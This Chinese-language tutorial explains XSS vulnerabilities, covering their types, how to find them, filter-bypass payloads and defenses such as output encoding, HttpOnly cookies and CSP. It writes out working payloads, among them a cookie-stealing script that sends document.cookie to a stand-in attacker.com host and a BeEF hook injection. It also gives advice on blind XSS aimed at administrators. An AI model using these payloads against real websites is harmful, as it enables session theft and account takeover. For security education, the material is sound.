浅谈XSS
字数 1700 2025-08-09 23:12:43
XSS漏洞全面解析与防御指南
一、XSS漏洞概述
1.1 基本概念
跨站脚本攻击(Cross Site Scripting,简称XSS)是一种前端漏洞,攻击者在网页中嵌入客户端脚本(主要是JavaScript),当用户浏览被嵌入恶意代码的网页时,恶意代码将在用户浏览器上执行。
1.2 危害性
- 盗取用户cookie和会话信息
- 获取管理员凭证,直接控制后台
- 实施钓鱼攻击
- 流量劫持
- 配合其他漏洞(如网页木马)进行进一步攻击
二、XSS漏洞原理
2.1 核心原理
XSS漏洞产生的根本原因是输出问题导致的JS代码被识别执行。当用户输入的数据未经适当过滤就直接输出到页面时,就可能被浏览器解析为可执行代码。
示例代码:
<?php
$xss = $_GET['x'];
echo $xss;
// 访问示例:127.0.0.1/test/xss.php?x=<script>alert(1)</script>
?>
三、XSS漏洞发现方法
3.1 手工测试
- 测试数据交互的地方:留言板、表单提交、URL参数等
- 输入特殊字符测试过滤情况:
<>""/&() - 查看源代码确认输入内容的位置和过滤情况
3.2 工具扫描
常用工具:
- AWVS
- AppScan
- XSSER
- XSSF
四、XSS漏洞分类
4.1 反射型XSS(非持续型)
特点:
- 非持续型攻击
- 需要构造特殊URL诱使用户点击
- 不会写入数据库
- 常见于查询类页面
利用过程:
- 构造包含恶意脚本的URL
- 诱骗用户点击(如通过钓鱼邮件、论坛发帖)
- 用户点击后,恶意脚本在其浏览器执行
示例利用:
http://example.com/search?q=<script>src="http://attacker.com/steal.js"</script>
4.2 存储型XSS(持续型)
特点:
- 持续型攻击
- 恶意代码存储在服务器(数据库)中
- 所有访问受影响页面的用户都会触发
- 常见于留言板、评论区、用户资料等
利用过程:
- 在可存储用户输入的地方提交恶意脚本
- 脚本被保存到数据库
- 其他用户访问该页面时自动执行恶意脚本
4.3 DOM型XSS
特点:
- 完全在客户端执行,不与服务器交互
- 基于JavaScript对DOM的操作
- 可绕过WAF和服务端检测
示例代码:
<script>
var temp = document.URL;
var index = document.URL.indexOf("content=")+4;
var par = temp.substring(index);
document.write(decodeURI(par));
</script>
利用方式:
http://example.com#content=<script>alert(1)</script>
五、XSS漏洞利用技术
5.1 基本Payload
<script>alert(1)</script>
<svg onload=alert(1)>
5.2 绕过过滤技术
- 大小写绕过:
<ScRiPt>alert(1)</ScRiPt>
- 编码绕过:
- 伪协议:
<a href="javascript:alert(1)">click</a>
- Base64编码:
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
5.3 高级利用技术
5.3.1 Cookie窃取
<script>
var img = new Image();
img.src = "http://attacker.com/steal.php?cookie="+document.cookie;
</script>
5.3.2 使用XSS平台
- 注册XSS平台账号(如xss.pt)
- 获取平台提供的恶意脚本代码
- 将代码插入目标网站
5.3.3 使用BeEF框架
- 启动BeEF服务(
beef-xss) - 注入hook代码:
<script src="http://[your-ip]:3000/hook.js"></script>
- 在BeEF控制台操作被hook的浏览器
5.4 特殊场景利用
5.4.1 href属性XSS
<a href="javascript:alert(1)">click</a>
5.4.2 盲打XSS
- 将payload提交到后台管理界面可见的位置
- 等待管理员查看时触发
5.4.3 伪造HTTP头XSS
使用Firefox插件修改X-Forwarded-For或Client-IP头:
X-Forwarded-For: <script>alert(1)</script>
六、XSS漏洞挖掘方法
6.1 手工测试方法
- 见框就插:在所有输入点测试
- 修改URL参数:测试GET参数
- 修改数据包:测试POST参数和隐藏字段
- 分析JS源码:查找DOM操作漏洞
6.2 测试流程
- 输入唯一字符串(如AAAA)并查看源码定位
- 测试特殊字符过滤情况:
<>""/&() - 根据过滤情况构造相应payload
- 测试闭合标签和属性
七、XSS漏洞防御
7.1 输入输出过滤
- 对特殊字符进行HTML实体编码:
<→<>→>"→"'→'&→&
PHP示例:
htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
7.2 使用HttpOnly
设置cookie的HttpOnly属性,防止JavaScript访问:
setcookie("sessionid", "value", 0, "/", "example.com", false, true);
// 最后一个参数true表示HttpOnly
7.3 内容安全策略(CSP)
通过HTTP头限制脚本执行:
Content-Security-Policy: default-src 'self'
7.4 其他防御措施
- 输入验证:白名单过滤
- 输出编码:根据上下文(HTML/JS/URL)进行适当编码
- 使用现代框架:如React/Vue等自带XSS防护
八、总结
XSS漏洞形式多样,防御关键在于:
- 严格过滤所有用户输入
- 对输出进行适当编码
- 设置HttpOnly保护cookie
- 实施CSP策略
- 保持安全意识,不信任任何用户输入
通过全面的防御措施,可以有效防止XSS攻击,保护用户数据和系统安全。